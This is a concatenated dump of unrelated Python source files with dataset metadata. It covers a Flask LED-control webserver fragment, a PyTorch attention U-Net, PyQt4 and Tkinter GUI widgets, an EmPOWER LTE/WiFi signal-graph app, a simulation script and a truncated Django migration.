/sys/class/leds/\"+led+\"/trigger\", stdout=subprocess.PIPE, shell=True)\n elif led_command == \"Linux phy0tx\":\n p = subprocess.call(\"echo phy0tx > /sys/class/leds/\"+led+\"/trigger\", stdout=subprocess.PIPE, shell=True)\n elif led_command == \"Linux phy0rx\":\n p = subprocess.call(\"echo phy0rx > /sys/class/leds/\"+led+\"/trigger\", stdout=subprocess.PIPE, shell=True)\n elif led_command == \"Linux phy0assoc\":\n p = subprocess.call(\"echo phy0assoc > /sys/class/leds/\"+led+\"/trigger\", stdout=subprocess.PIPE, shell=True)\n elif led_command == \"Linux phy0radio\":\n p = subprocess.call(\"echo phy0radio > /sys/class/leds/\"+led+\"/trigger\", stdout=subprocess.PIPE, shell=True)\n elif led_command == \"Linux hci0-power\":\n p = subprocess.call(\"echo hci0-power > /sys/class/leds/\"+led+\"/trigger\", stdout=subprocess.PIPE, shell=True)\n elif led_command == \"Linux rfkill1\":\n p = subprocess.call(\"echo phy0assoc > /sys/class/leds/\"+led+\"/trigger\", stdout=subprocess.PIPE, shell=True)\n else:\n return (\"none\", \"block\")\n if p != 0:\n return (\"none\", \"block\")\n return (\"block\", \"none\")\n\ndef thread_run(proc, timeout, cconn):\n timeout = int(timeout) #Convert string to int\n start_time = time.time()\n elapsed_time = time.time()-start_time\n while (timeout > elapsed_time) and (proc.poll() is not None):\n time.sleep(1)\n elapsed_time = time.time()-start_time\n if cconn:\n cconn.send(elapsed_time)\n if proc.poll() is not None:\n os.killpg(os.getpgid(proc.pid), signal.SIGTERM) \n output,err = proc.communicate()\n\ndef check_connection():\n p = subprocess.Popen(\"iw wlan0 info\", stdout=subprocess.PIPE, shell=True)\n ssid_output_encoded = p.communicate()[0]\n ssid_output = ssid_output_encoded.decode('utf-8')\n ssid = \"\"\n for line in ssid_output.splitlines():\n line.strip()\n if \"ssid\" in line:\n ssid = line.split(\"ssid \")[1]\n\n if ssid != \"\":\n return \"true\"\n return \"false\"\n\n#CUSTOM USER BACK END CODE ADDED AFTER HERE\n\n#CUSTOM USER BACK END CODE STOPS HERE\n\nif __name__ == '__main__':\n app.run(host='0.0.0.0', port=80, threaded=True)\n","sub_path":"webapp/webserver.py","file_name":"webserver.py","file_ext":"py","file_size_in_byte":48424,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"20488999","text":"from torchsummary import summary\nimport torch\nimport torch.nn as nn\n\nclass AttentionBlock(nn.Module):\n def __init__(self, in_channels, out_channels, kernel_size=3,\n stride=1, padding=1):\n super(AttentionBlock, self).__init__()\n\n self.conv_encoder = nn.Sequential(\n nn.BatchNorm2d(in_channels),\n nn.ReLU(),\n nn.Conv2d(in_channels, out_channels, kernel_size=kernel_size,\n stride=stride, padding=padding),\n\n nn.MaxPool2d(kernel_size=2),\n )\n\n self.conv_decoder = nn.Sequential(\n nn.BatchNorm2d(in_channels * 2),\n nn.ReLU(),\n nn.Conv2d(in_channels * 2, out_channels, kernel_size=kernel_size,\n stride=stride, padding=padding),\n\n )\n\n self.conv_attn = nn.Sequential(\n nn.BatchNorm2d(out_channels),\n nn.ReLU(),\n nn.Conv2d(out_channels, out_channels, kernel_size=1, stride=stride),\n )\n\n self.sig = nn.Sequential(\n nn.Sigmoid()\n )\n\n def forward(self, x1, x2):\n out = self.conv_encoder(x1) + self.conv_decoder(x2)\n out = self.conv_attn(out) * x2\n out = self.sig(out)\n\n return out\n\n\nclass double_conv(nn.Module):\n def __init__(self, in_channels, out_channels, kernel_size=3, stride=1, padding=1):\n super(double_conv, self).__init__()\n self.conv = nn.Sequential(\n nn.Conv2d(in_channels, out_channels, kernel_size=kernel_size,\n stride=stride, padding=padding),\n nn.BatchNorm2d(out_channels),\n nn.ReLU(inplace=True),\n nn.Conv2d(out_channels, out_channels, kernel_size=kernel_size,\n stride=stride, padding=padding),\n nn.BatchNorm2d(out_channels),\n nn.ReLU(inplace=True))\n self.res = nn.Sequential(\n nn.Conv2d(in_channels, out_channels, kernel_size=kernel_size,\n stride=stride,padding=padding),\n nn.BatchNorm2d(out_channels)\n )\n\n def forward(self, x):\n out = self.conv(x)+self.res(x)\n\n return out\n\nstart_fm = 128\n\nclass Unet(nn.Module):\n\n def __init__(self):\n super(Unet, self).__init__()\n\n # down scale\n # Convolution 1\n self.double_conv1 = double_conv(3, start_fm, 3, 1, 1)\n self.maxpool1 = nn.MaxPool2d(kernel_size=2)\n\n # Convolution 2\n self.double_conv2 = double_conv(start_fm, start_fm * 2, 3, 1, 1)\n self.maxpool2 = nn.MaxPool2d(kernel_size=2)\n\n # Convolution 3\n self.double_conv3 = double_conv(start_fm * 2, start_fm * 4, 3, 1, 1)\n self.maxpool3 = nn.MaxPool2d(kernel_size=2)\n\n # Convolution 4\n self.double_conv4 = double_conv(start_fm * 4, start_fm * 8, 3, 1, 1)\n self.maxpool4 = nn.MaxPool2d(kernel_size=2)\n\n # Convolution 5 (Bridge)\n self.double_conv7 = double_conv(start_fm * 8, start_fm * 16, 3, 1, 1)\n\n # Expanding Path Convolution 5 #NOT NEEDED IN TRAINING ERROR IN LAYER\n self.ex_double_conv5 = double_conv(start_fm * 32, start_fm * 16, 3, 1, 1)\n\n # Transposed Convolution 4\n self.attn2 = AttentionBlock(start_fm * 8, start_fm * 16, 3, 1, 1)\n\n self.t_conv4 = nn.ConvTranspose2d(start_fm * 16, start_fm * 8, 2, 2)\n # Expanding Path Convolution 4\n self.ex_double_conv4 = double_conv(start_fm * 16, start_fm * 8, 3, 1, 1)\n\n # Transposed Convolution 3\n self.attn3 = AttentionBlock(start_fm * 4, start_fm * 8, 3, 1, 1)\n\n self.t_conv3 = nn.ConvTranspose2d(start_fm * 8, start_fm * 4, 2, 2)\n # Convolution 3\n self.ex_double_conv3 = double_conv(start_fm * 8, start_fm * 4, 3, 1, 1)\n\n # Transposed Convolution 2\n self.attn4 = AttentionBlock(start_fm * 2, start_fm * 4, 3, 1, 1)\n\n self.t_conv2 = nn.ConvTranspose2d(start_fm * 4, start_fm * 2, 2, 2)\n # Convolution 2\n self.ex_double_conv2 = double_conv(start_fm * 4, start_fm * 2, 3, 1, 1)\n\n # Transposed Convolution 1\n self.t_conv1 = nn.ConvTranspose2d(start_fm * 2, start_fm, 2, 2)\n # Convolution 1\n self.ex_double_conv1 = double_conv(start_fm * 2, start_fm, 3, 1, 1)\n\n self.one_by_one = nn.Conv2d(start_fm, 3, 1, 1, 0)\n self.final_act = nn.Sigmoid()\n\n def forward(self, inputs):\n # Contracting Path\n conv1 = self.double_conv1(inputs)\n maxpool1 = self.maxpool1(conv1)\n\n conv2 = self.double_conv2(maxpool1)\n maxpool2 = self.maxpool2(conv2)\n\n conv3 = self.double_conv3(maxpool2)\n maxpool3 = self.maxpool3(conv3)\n\n conv4 = self.double_conv4(maxpool3)\n maxpool4 = self.maxpool4(conv4)\n\n #Bridge\n conv7 = self.double_conv7(maxpool4)\n\n # Expanding Path\n attn2 = self.attn2(conv4, conv7)\n t_conv4 = self.t_conv4(attn2)\n cat4 = torch.cat([conv4, t_conv4], 1)\n ex_conv4 = self.ex_double_conv4(cat4)\n\n attn3 = self.attn3(conv3, ex_conv4)\n t_conv3 = self.t_conv3(attn3)\n cat3 = torch.cat([conv3, t_conv3], 1)\n ex_conv3 = self.ex_double_conv3(cat3)\n\n attn4 = self.attn4(conv2, ex_conv3)\n t_conv2 = self.t_conv2(attn4)\n cat2 = torch.cat([conv2, t_conv2], 1)\n ex_conv2 = self.ex_double_conv2(cat2)\n\n t_conv1 = self.t_conv1(ex_conv2)\n cat1 = torch.cat([conv1, t_conv1], 1)\n ex_conv1 = self.ex_double_conv1(cat1)\n\n output = self.one_by_one(ex_conv1)\n output = self.final_act(output)\n\n return output\n\n\ndevice = torch.device(\"cuda\" if torch.cuda.is_available() else \"cpu\")\n\nmodel = Unet()\nprint(model)\nmodel = model.to(device)\nsummary(model, (3,128,128))","sub_path":"mynet2.py","file_name":"mynet2.py","file_ext":"py","file_size_in_byte":5738,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"194046114","text":"from PyQt4 import QtCore, QtGui\n\ntry:\n\t_fromUtf8 = QtCore.QString._fromUtf8\nexcept AttributeError:\n\tdef _fromUtf8(s):\n\t\treturn s\n\ntry:\n\t_encoding = QtGui.QApplication.UnicodeUTF8\n\tdef _translate(context, text, disambig):\n\t\treturn QtGui.QApplication.translate(context, text, disambig, _encoding)\nexcept AttributeError:\n\tdef _translate(context, text, disambig):\n\t\treturn QtGui.QApplication.translate(context, text, disambig)\n\nclass Widget_Caja(QtGui.QWidget):\n\tdef __init__(self, parent):\n\t\tsuper(Widget_Caja, self).__init__(parent)\n\n\t\tself.groupBox = QtGui.QGroupBox(self)\n\t\tself.groupBox.setMaximumSize(QtCore.QSize(16777215, 65))\n\t\tself.groupBox.setMinimumSize(QtCore.QSize(450, 70))\n\t\tself.groupBox.setCheckable(True)\n\n\t\tself.layout = QtGui.QGridLayout(self)\n\t\tself.layout.setContentsMargins (0,0,0,0)\n\t\tself.layout.addWidget(self.groupBox)\n\n\t\tself.layoutInterno = QtGui.QGridLayout(self.groupBox)\n\t\tself.groupBox2 = QtGui.QGroupBox(self.groupBox)\n\t\tself.groupBox2.setMinimumSize(QtCore.QSize(100, 50))\n\t\tself.layoutInterno2 = QtGui.QGridLayout(self.groupBox2)\n\t\tself.layoutInterno2.setVerticalSpacing(1)\n\t\tself.layoutInterno2.setContentsMargins (0,0,0,0)\n\n\t\tself.btn_mostrar = QtGui.QPushButton()\n\t\tself.btn_mostrar.setMinimumHeight(25)\n\t\tself.btn_mostrar.setMaximumWidth(35)\n\t\ticonoMostrar = QtGui.QIcon()\n\t\ticonoMostrar.addPixmap(QtGui.QPixmap(_fromUtf8(\"../interfaz/imagenes/mostrar.png\")), QtGui.QIcon.Selected, QtGui.QIcon.On)\n\t\tself.btn_mostrar.setIcon(iconoMostrar)\n\t\t#self.btn_mostrar.setText(_translate(\"MainWindow\", \"Mostrar\", None))\n\n\t\tself.btn_compararYa = QtGui.QPushButton()\n\t\tself.btn_compararYa.setMinimumHeight(25)\n\t\tself.btn_compararYa.setMaximumWidth(35)\n\t\ticonoComparar = QtGui.QIcon()\n\t\ticonoComparar.addPixmap(QtGui.QPixmap(_fromUtf8(\"../interfaz/imagenes/comparar.png\")), QtGui.QIcon.Selected, QtGui.QIcon.On)\n\t\tself.btn_compararYa.setIcon(iconoComparar)\t\t\n\t\t#self.btn_compararYa.setText(_translate(\"MainWindow\", \"Comparar Ya\", None))\n\n\t\tself.btn_reIndexar = QtGui.QPushButton()\n\t\tself.btn_reIndexar.setMinimumHeight(25)\n\t\tself.btn_reIndexar.setMaximumWidth(35)\n\t\ticonoSpider = QtGui.QIcon()\n\t\ticonoSpider.addPixmap(QtGui.QPixmap(_fromUtf8(\"../interfaz/imagenes/spider.png\")), QtGui.QIcon.Selected, QtGui.QIcon.On)\n\t\tself.btn_reIndexar.setIcon(iconoSpider)\t\t\n\t\t#self.btn_reIndexar.setText(_translate(\"MainWindow\", \"Spider\", None))\n\n\t\tself.btn_modificar = QtGui.QPushButton()\n\t\tself.btn_modificar.setMinimumHeight(25)\n\t\tself.btn_modificar.setMaximumWidth(35)\n\t\ticonoModificar = QtGui.QIcon()\n\t\ticonoModificar.addPixmap(QtGui.QPixmap(_fromUtf8(\"../interfaz/imagenes/modificar.png\")), QtGui.QIcon.Selected, QtGui.QIcon.On)\n\t\tself.btn_modificar.setIcon(iconoModificar)\n\t\t#self.btn_modificar.setText(_translate(\"MainWindow\", \"M\", None)) \n\n\t\tself.btn_eliminar = QtGui.QPushButton()\n\t\tself.btn_eliminar.setMinimumHeight(25)\n\t\tself.btn_eliminar.setMaximumWidth(35)\n\t\ticonoEliminar = QtGui.QIcon()\n\t\ticonoEliminar.addPixmap(QtGui.QPixmap(_fromUtf8(\"../interfaz/imagenes/eliminar.png\")), QtGui.QIcon.Selected, QtGui.QIcon.On)\n\t\tself.btn_eliminar.setIcon(iconoEliminar)\t\t\n\t\t#self.btn_eliminar.setText(_translate(\"MainWindow\", \"X\", None)) \n\n\t\tself.dial_porcentaje = QtGui.QDial()\n\t\tself.dial_porcentaje.setNotchesVisible(True)\n\t\tself.dial_porcentaje.setMaximum(1000)\n\t\tself.dial_porcentaje.setMinimum(0)\n\t\tself.dial_porcentaje.setSingleStep(20)\n\t\tself.dial_porcentaje.setPageStep(1)\n\t\tself.dial_porcentaje.setMaximumHeight(35)\n\t\tself.dial_porcentaje.setMinimumHeight(35)\n\t\tself.dial_porcentaje.setMaximumWidth(50)\n\t\tself.dial_porcentaje.setTracking(False)#Solo emitir signal cuando se detenga el dial\n\t\t\n\t\tself.texto_porcentaje = QtGui.QLabel()\n\n\t\tself.descripcion_dial_porcentaje = QtGui.QLabel(\"porcentaje\\nde deteccion\")\n\t\tself.descripcion_porcentaje_cambio_promedio = QtGui.QLabel(\"Promedio de\\n cambio\")\n\n\t\tself.texto_porcentaje_cambio_promedio = QtGui.QLabel()\n\n\t\tself.btn_actualizar_porcentaje_portal = QtGui.QPushButton()\n\t\tself.btn_actualizar_porcentaje_portal.setMinimumHeight(25)\n\t\tself.btn_actualizar_porcentaje_portal.setMaximumWidth(100)\n\t\tself.btn_actualizar_porcentaje_portal.setText(_translate(\"MainWindow\", \"ACT. INDICE\", None))\n\n\t\tself.layoutInterno.addWidget(self.btn_mostrar,0,0)\n\t\tself.layoutInterno.addWidget(self.btn_compararYa,0,1)\n\t\tself.layoutInterno.addWidget(self.btn_reIndexar,0,2)\n\t\tself.layoutInterno.addWidget(self.btn_modificar,0,3)\n\t\tself.layoutInterno.addWidget(self.btn_eliminar,0,4)\n\t\t\n\t\tself.layoutInterno.addWidget(self.groupBox2,0,5)\n\t\t#----------------Layout interno de los comboBox----------------------\n\t\tself.layoutInterno2.addWidget(self.descripcion_dial_porcentaje,0,0)\n\t\tself.layoutInterno2.addWidget(self.dial_porcentaje,0,1)\n\t\tself.layoutInterno2.addWidget(self.texto_porcentaje,0,2)\n\t\t#--------------------------------------------------------------------\n\t\tself.layoutInterno.addWidget(self.descripcion_porcentaje_cambio_promedio,0,6)\n\t\tself.layoutInterno.addWidget(self.texto_porcentaje_cambio_promedio,0,7)\n\t\tself.layoutInterno.addWidget(self.btn_actualizar_porcentaje_portal,0,8)\n","sub_path":"interfaz/cajaInterfaz.py","file_name":"cajaInterfaz.py","file_ext":"py","file_size_in_byte":5053,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"570046484","text":"#!/usr/bin/env python3\n#\n# Copyright (c) 2016 Supreeth Herle\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing,\n# software distributed under the License is distributed on an\n# \"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\n# KIND, either express or implied. See the License for the\n# specific language governing permissions and limitations\n# under the License.\n\n\"\"\"Signal strength visulization app.\"\"\"\n\nimport random\n\nfrom empower.core.app import EmpowerApp\nfrom empower.core.app import DEFAULT_PERIOD\nfrom empower.main import RUNTIME\nfrom empower.maps.ucqm import ucqm\nfrom empower.events.wtpup import wtpup\nfrom empower.events.wtpdown import wtpdown\nfrom empower.events.vbsup import vbsup\nfrom empower.events.vbsdown import vbsdown\nfrom empower.events.uejoin import uejoin\nfrom empower.events.ueleave import ueleave\n\nfrom empower.main import RUNTIME\n\nDEFAULT_SIGNALGRAPH_PERIOD = 2000\n\nGRAPH_TOP_BOTTOM_MARGIN = 40\nGRAPH_LEFT_RIGHT_MARGIN = 40\nGRAPH_MAX_WIDTH = 550 - GRAPH_LEFT_RIGHT_MARGIN\nGRAPH_MAX_HEIGHT = 750 - GRAPH_TOP_BOTTOM_MARGIN\nMIN_DISTANCE = 70\nN_XY = 300\n\nUE_MAC_ADDR1 = 'A0:39:F7:4C:AA:0A'\n\n\nclass SignalGraph(EmpowerApp):\n \"\"\"Signal strength visulization app.\n\n Command Line Parameters:\n\n tenant_id: tenant id\n every: loop period in ms (optional, default 5000ms)\n\n Example:\n\n ./empower-runtime.py apps.signalgraph.signalgraph \\\n --tenant_id=8f83e794-1d07-4430-b5bd-db45d670c8f0\n \"\"\"\n\n def __init__(self, **kwargs):\n\n EmpowerApp.__init__(self, **kwargs)\n\n self.graphData = {}\n self.wifi_data = {}\n\n # List of VBSes active\n self.vbses = []\n # List of WTPs active\n self.wtps = []\n\n # Populate exsiting VBSes\n for vbs in self.tenant.vbses.values():\n if vbs.connection:\n self.vbses.append(vbs)\n\n # Populate exsiting WTPs and trigger UCQM for existing WTPs\n for wtp in self.tenant.wtps.values():\n if wtp.connection:\n self.wtps.append(wtp.addr.to_str())\n\n for block in wtp.supports:\n ucqm(block=block,\n tenant_id=self.tenant.tenant_id,\n every=5000,\n callback=self.ucqm_callback)\n\n # Generating inital coordinates for the graph nodes\n self.coord = self.get_coordinates()\n\n vbsup(tenant_id=self.tenant.tenant_id, callback=self.vbs_up_callback)\n vbsdown(tenant_id=self.tenant.tenant_id, callback=self.vbs_down_callback)\n\n uejoin(tenant_id=self.tenant.tenant_id, callback=self.ue_join_callback)\n ueleave(tenant_id=self.tenant.tenant_id, callback=self.ue_leave_callback)\n\n wtpup(tenant_id=self.tenant.tenant_id, callback=self.wtp_up_callback)\n wtpdown(tenant_id=self.tenant.tenant_id, callback=self.wtp_up_callback)\n\n def get_coordinates(self):\n\n rangeX = (GRAPH_LEFT_RIGHT_MARGIN, GRAPH_MAX_WIDTH)\n rangeY = (GRAPH_TOP_BOTTOM_MARGIN, GRAPH_MAX_HEIGHT)\n\n deltas = set()\n for x in range(-MIN_DISTANCE, MIN_DISTANCE + 1):\n for y in range(-MIN_DISTANCE, MIN_DISTANCE + 1):\n if (x * x) + (y * y) >= MIN_DISTANCE * MIN_DISTANCE:\n deltas.add((x,y))\n\n randPoints = []\n excluded = set()\n count = 0\n while count < N_XY:\n x = random.randrange(*rangeX)\n y = random.randrange(*rangeY)\n\n if (x, y) in excluded:\n continue\n\n randPoints.append((x, y))\n count += 1\n\n excluded.update((x + dx, y + dy) for (dx, dy) in deltas)\n\n return randPoints\n\n def to_dict(self):\n \"\"\"Return json-serializable representation of the object.\"\"\"\n\n out = super().to_dict()\n out['graphData'] = self.graphData\n\n return out\n\n def vbs_up_callback(self, vbs):\n \"\"\"Called when an VBS connects to a tenant.\"\"\"\n\n # Append VBS to list of active VBSs\n if vbs not in self.vbses:\n self.vbses.append(vbs)\n\n def vbs_down_callback(self, vbs):\n \"\"\"Called when an VBS disconnects from a tenant.\"\"\"\n\n # Removes VBS from list of active VBSs\n if vbs in self.vbses:\n self.vbses.remove(vbs)\n\n def ue_join_callback(self, ue):\n \"\"\"Called when an UE connects to a VBS.\"\"\"\n\n\n def ue_leave_callback(self, ue):\n \"\"\"Called when an UE disconnects from a VBS.\"\"\"\n\n\n def wtp_up_callback(self, wtp):\n \"\"\"Called when a new WTP connects to the controller.\"\"\"\n\n for block in wtp.supports:\n\n ucqm(block=block,\n tenant_id=self.tenant.tenant_id,\n every=5000,\n callback=self.ucqm_callback)\n\n def wtp_down_callback(self, wtp):\n \"\"\"Called when a WTP disconnects from the controller.\"\"\"\n\n # Cleanup ucqm module instance associated with this WTP.\n\n # Removes WTP from list of active WTPs\n if wtp.addr.to_str() in self.wtps:\n self.wtps.remove(wtp.addr.to_str())\n\n def ucqm_callback(self, poller):\n \"\"\"Called when a UCQM response is received from a WTP.\"\"\"\n\n lvaps = RUNTIME.tenants[self.tenant.tenant_id].lvaps\n\n for addr in poller.maps.values():\n\n if addr['addr'].to_str() == UE_MAC_ADDR1:\n if addr['addr'] in lvaps and lvaps[addr['addr']].wtp:\n active_flag = 1\n\n if (lvaps[addr['addr']].wtp.addr != poller.block.addr):\n active_flag = 0\n elif ((lvaps[addr['addr']].wtp.addr == poller.block.addr \\\n and (lvaps[addr['addr']].association_state == False))):\n active_flag = 0\n\n if poller.block.addr.to_str() not in self.wtps:\n self.wtps.append(poller.block.addr.to_str())\n\n self.wifi_data[poller.block.addr.to_str()] = \\\n {\n 'rssi': addr['mov_rssi'],\n 'wtp': poller.block.addr.to_str(),\n 'active': active_flag\n }\n elif addr['addr'] not in lvaps:\n self.wifi_data = {}\n break\n\n\n def get_neigh_cells(self, ue):\n \"\"\"Fetches list of neighbor cells as seen by UE.\"\"\"\n\n measurements = ue.rrc_meas\n\n neigh_cells = []\n\n for m in measurements.keys():\n # Append the Physical Cell ID of neighboring cells\n neigh_cells.append(m)\n\n return neigh_cells\n\n def loop(self):\n \"\"\" Periodic job. \"\"\"\n\n node_id = 0\n # Contains all links between cells and UEs\n graph_links = []\n # Contains all nodes in the graph\n graph_nodes = []\n\n tenant = RUNTIME.tenants[self.tenant.tenant_id]\n\n for wtp in self.wtps:\n # Append the WTP's info\n graph_nodes.append({\n 'id': node_id,\n 'node_id': wtp,\n 'entity': 'wtp',\n 'tooltip': 'MAC',\n 'x': self.coord[node_id][0],\n 'y': self.coord[node_id][1]\n })\n node_id += 1\n\n for vbs in self.vbses:\n\n # List containing all the neighbor cells of all UEs\n neigh_cells = []\n\n serving_vbs = {\n 'id': node_id,\n 'node_id': vbs.enb_id,\n 'entity': 'enb',\n 'tooltip': 'eNB Id',\n 'x': self.coord[node_id][0],\n 'y': self.coord[node_id][1]\n }\n\n graph_nodes.append(serving_vbs)\n\n for ue in tenant.ues:\n\n node_id += 1\n\n # Append the UE's info\n graph_nodes.append({\n 'id': node_id,\n 'node_id': tenant.ues[ue].rnti,\n 'entity': 'ue',\n 'tooltip': 'RNTI',\n 'x': self.coord[node_id][0],\n 'y': self.coord[node_id][1]\n })\n\n # Index of UE in nodes array\n ue_index = node_id\n\n # Neighbor cells list per UE\n cells = self.get_neigh_cells(tenant.ues[ue])\n\n for cell in cells:\n if cell not in neigh_cells:\n # Increment the node id\n node_id += 1\n\n graph_nodes.append({\n 'id': node_id,\n 'node_id': cell,\n 'entity': 'enb',\n 'tooltip': 'PCI',\n 'x': self.coord[node_id][0],\n 'y': self.coord[node_id][1]\n })\n\n neigh_cells.append(cell)\n\n # Index of cell in nodes array\n cell_index = None\n\n # Store primary cell measurements per UE\n for n in graph_nodes:\n if (n['node_id'] == vbs.enb_id) and (n['entity'] == 'enb'):\n cell_index = n['id']\n break\n\n graph_links.append({\n 'src': cell_index,\n 'dst': ue_index,\n 'rsrp': tenant.ues[ue].pcell_rsrp,\n 'rsrq': tenant.ues[ue].pcell_rsrq,\n 'rssi': None,\n 'entity': 'lte',\n 'color': 'orange',\n 'width': 6\n })\n\n measurements = tenant.ues[ue].rrc_meas\n\n for key, m in measurements.items():\n\n cell_index = None\n\n for n in graph_nodes:\n if (n['node_id'] == key) and (n['entity'] == 'enb'):\n cell_index = n['id']\n break\n # Add each link for a measured neighbor cell\n graph_links.append({\n 'src': cell_index,\n 'dst': ue_index,\n 'rsrp': m['rsrp'],\n 'rsrq': m['rsrq'],\n 'rssi': None,\n 'entity': 'lte',\n 'color': 'black',\n 'width': 4\n })\n\n wtp_index = 0\n\n for k, v in self.wifi_data.items():\n\n for n in graph_nodes:\n if (n['node_id'] == v['wtp']) \\\n and (n['entity'] == 'wtp'):\n wtp_index = n['id']\n break\n\n color = 'black'\n width = 4\n\n if v['active'] == 1:\n width = 6\n color = 'lightgreen'\n\n # Add each link for a measured WTP\n graph_links.append({\n 'src': wtp_index,\n 'dst': ue_index,\n 'rsrp': None,\n 'rsrq': None,\n 'rssi': v['rssi'],\n 'entity': 'wifi',\n 'color': color,\n 'width': width\n })\n\n self.graphData = {\n 'nodes': graph_nodes,\n 'links': graph_links\n }\n\ndef launch(tenant_id, every=DEFAULT_PERIOD):\n \"\"\" Initialize the module. \"\"\"\n\n return SignalGraph(tenant_id=tenant_id, every=DEFAULT_SIGNALGRAPH_PERIOD)\n","sub_path":"empower/apps/signalgraph/signalgraph.py","file_name":"signalgraph.py","file_ext":"py","file_size_in_byte":12877,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"635883628","text":"from threading import Thread\nfrom tkinter import LabelFrame, Label, Entry, Button, X, END\nfrom RESULT.WindowInputManually import windowInputManually\n\n\nclass CorrectIntervals(windowInputManually):\n def __init__(self, parent, intervals_voices, main_processing, messages):\n windowInputManually.__init__(self, parent, intervals_voices, messages)\n self.parent = parent\n self.intervals_voices = intervals_voices\n self.main_processing = main_processing\n self.messages = messages\n\n self.initUI2()\n self.frame2_1['text'] = 'Полученные интервалы голосов НЕ ведущего'\n self.add_button['text'] = 'Изменить'\n self.add_button['command'] = self.changeInterval\n self.pack(padx=5,\n pady=5)\n\n def changeInterval(self):\n current_index = self.list_intervals.curselection()[0]\n self.list_intervals.delete(current_index)\n self.list_intervals.insert(current_index,\n str(self.edit_start_time.get()) + ' - ' + str(self.edit_end_time.get()))\n\n def getSelectedInterval(self, event):\n widget = event.widget\n selection = widget.curselection()\n picked = widget.get(selection)\n interval = str(picked).split(' - ')\n self.edit_start_time.delete(0, END)\n self.edit_start_time.insert(0, interval[0])\n self.edit_end_time.delete(0, END)\n self.edit_end_time.insert(END, interval[1])\n\n def getIntervals(self, start, end):\n interval_ms = [int(start), int(end)]\n\n self.messages.insert(END, 'Идет тренировка классификатора...\\n')\n self.main_processing.GetIntervalsPresenter(interval_ms=interval_ms)\n self.messages.insert(END, 'Тренировка классификатора завершена\\n')\n\n self.messages.insert(END, 'Идет разделение голосов на голос ведущего и остальных...\\n')\n indexes_intervals_not_presenter = self.main_processing.classificator_presenter.Classification()\n self.intervals_not_presenter = [interval for i, interval in enumerate(self.intervals_voices)\n if i in indexes_intervals_not_presenter]\n self.messages.insert(END, 'Разделение голосов на голос ведущего и остальных завершено\\n')\n for interval in self.intervals_not_presenter:\n self.list_intervals.insert(END, str(interval[0]) + ' - ' + str(interval[1]) + '\\n')\n self.list_intervals.bind('<<ListboxSelect>>', self.getSelectedInterval)\n\n def initUI2(self):\n self.messages.insert(END, 'Введите любой интервал, в котором только голос ведущего(больше 2 секунд)\\n')\n frame0 = LabelFrame(master=self,\n text='Интервал голоса ведущего')\n start_time = Label(master=frame0,\n text=\" От(в мс) \")\n start_time.grid(column=0,\n row=0)\n edit_start_time = Entry(master=frame0,\n width=10)\n edit_start_time.grid(column=1,\n row=0)\n end_time = Label(master=frame0,\n text=\" До(в мс) \")\n end_time.grid(column=2,\n row=0)\n edit_end_time = Entry(master=frame0,\n width=10)\n edit_end_time.grid(column=3,\n row=0)\n train_button = Button(master=frame0,\n text='Тренировать',\n command=lambda: Thread(\n target=lambda: self.getIntervals(edit_start_time.get(), edit_end_time.get())\n ).start())\n train_button.grid(column=4,\n row=0,\n padx=5)\n frame0.pack(fill=X,\n padx=5,\n pady=5)\n self.createWindow()\n","sub_path":"Code Python/gmm_ubm/RESULT/WindowCorrectIntervals.py","file_name":"WindowCorrectIntervals.py","file_ext":"py","file_size_in_byte":4150,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"214425070","text":"from classes import NodeController\nfrom classes import TransmissionController\nfrom classes import StatsController\nfrom classes import TimeLine\nimport sys\nfrom init import Init as init\nfrom font import colors\n\nsyms = ['\\\\', '|', '/', '-']\nbs = '\\b'\nfileName = 'stats'\n\ndef main():\n\n\tinit.config()\n\tstatsCtrl = StatsController( fileName )\n\n\t# calculate neighbors #\n\tnodeCtrl = NodeController()\n\tnodeCtrl.createNodes( )\n\tnodeCtrl.findAllNeighbours()\n\n\tprint(\"Inizio simulazione\")\n\n\tfor gamma in init.GAMMA:\n\t\tfor a in range(0, init.SIMULATION_REPETITION):\n\n\t\t\ttransmissionCtrl = TransmissionController( gamma )\n\n\t\t\ttime = TimeLine( nodeCtrl, transmissionCtrl )\n\t\t\ttime.initialize()\n\n\t\t\twhile( not time.finish() ):\n\t\t\t\ttime.step()\n\n\t\t\tstatsCtrl.process( nodeCtrl, gamma )\n\t\t\tnodeCtrl.clear();\n\n\t\t\tsys.stdout.write(\"\\b%s\" % syms[ a % len(syms) ])\n\t\t\tsys.stdout.flush()\n\n\tprint(\"\\b\" + colors.OKGREEN + \"Simulazione conclusa\" + colors.ENDC)\n\tprint(\"Ho creato il file: \" + colors.OKGREEN + fileName + \".svg\" + colors.ENDC)\n\tprint(\"Ho creato il file: \" + colors.OKGREEN + fileName + \"-nodes.svg\" + colors.ENDC)\n\nif __name__ == \"__main__\":\n\tmain()\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1138,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"405755208","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import migrations, models\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('base', '0010_auto_20160122_1102'),\n ]\n\n operations = [\n migrations.CreateModel(\n name='Feedback',\n fields=[\n ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),\n ('name', models.CharField(max_length=127, null=True, verbose_name='\\u0418\\u043c\\u044f', blank=True)),\n ('text', models.TextField(null=True, verbose_name='\\u041e\\u0442\\u0437\\u044b\\u0432', blank=True)),\n ('flat', models.ForeignKey(verbose_name='\\u041a\\u0432\\u0430\\u0440\\u0442\\u0438\\u0440\\u0430', to='base.Flat')),\n ],\n ),\n 